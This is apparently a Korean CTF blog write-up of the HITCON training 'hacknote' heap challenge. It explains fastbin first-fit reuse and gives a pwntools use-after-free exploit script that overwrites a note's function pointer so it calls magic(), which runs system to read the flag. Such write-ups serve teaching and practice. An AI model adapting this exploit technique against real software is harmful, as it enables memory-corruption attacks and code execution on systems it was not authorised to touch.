hint : first fit uaf


magic()이라는 함수가 있는데 이 함수는 system()함수로 flag 파일을 cat 해주는 명령을 실행하는 함수다.

이 문제의 목적은 uaf로 magic()함수를 실행시켜서 flag를 읽도록 하는것이다.

아이다로 헥스레이 해서 보면 

add_note()함수에서 malloc()을 두 번 한다.


그리고 그에 맞게 delete_note()함수에서도 free()를 두 번 한다.


이제 gdb에서 실행을 해봤다.

add_note()에서 size를 20을 주고 AAAA란 문자열을 입력했다. 그리고 할당받은 메모리 영역을 살펴보면 

notelist[0]는 아래와 같이 0x0804b008에 메모리를 할당받았다.


그리고  이번엔 delete_note()를 실행한다.

실행한 후 fasbin리스트를 보면 두개가 해제된 영역이 두개 있는것을 볼 수 있다.


이는 헥스레이로 봤듯이 두번 free를 해줬기 때문에 생긴 구조다.

즉 처음 notelist[0]에 8바이트 할당 받았던 0x0804b000과 *notelist[0]에 20바이트 할당 받았던 주소인 0x0804b010이 리스트에 추가되었다.

힙 구조에서 재할당을 효율적으로 하기 위한 방법인데 만약 malloc(8)이 두 번 이루어 지고 이후에 그 영역을 free()한 후 fastbin 리스트를 확인하면 이 리스트의 첫번째 배열엔 추가적으로 리스트가 생긴다. 따라서 이 이후에 8바이트의 새로운 재할당을 받게되면 해제 했던 그 영역이 다시 할당을 받게된다.


이전 문제에서 fastbin_dup와 같은 원리로 문제를 풀면 된다.


*notelist[i]에는 print_note_content라는 함수의 주소가 들어가게 되는데 3번 메뉴를 실행하면 *notelist[i]를 실행하는 구조이므로 *notelist[i]에 magic의 주소를 넣어주면 된다.


나의 익스 방법은 

add_note() -> add_note() -> delete_note() -> delete_note() -> add_note() 이런 식으로 진행할 것이다.

다시말해 이런 구조로 할당과 해제가 진행될 것이다.

malloc(20) -> malloc(20) -> free(8) -> free(20) -> free(8) -> free(20) -> malloc(8) -> malloc(8)


즉 세번째 할당에서 8바이트를 할당하게 되면 *notelist[i]에 들어갈 주소를 조작할 수 있다.


from pwn import *

def add(size, content):
	r.sendline("1")
	print r.recv()
	r.sendline(str(size))
	print r.recv()
	r.send(content)
	print r.recv()

def delete(index):
	r.sendline("2")
	print r.recv()
	r.sendline(str(index))
	print r.recv()

def print_note(index):
	r.sendline("3")
	print r.recv()
	r.sendline(str(index))
	print r.recvuntil("----------------------")

if __name__ == "__main__":
	r = process("./hacknote")
	magic = 0x08048986

	print r.recv()
	add(20, "AAAA")
	add(20, "BBBB")
	delete(0)
	delete(1)
	add(8, p32(magic))

	print_note(0)


설명을 두서 없이 적었는데 조만간 다시 정리 해야겠음.


Ref.https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab14 (unsorted bin attack)  (0) 2018.11.01
HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

+ Recent posts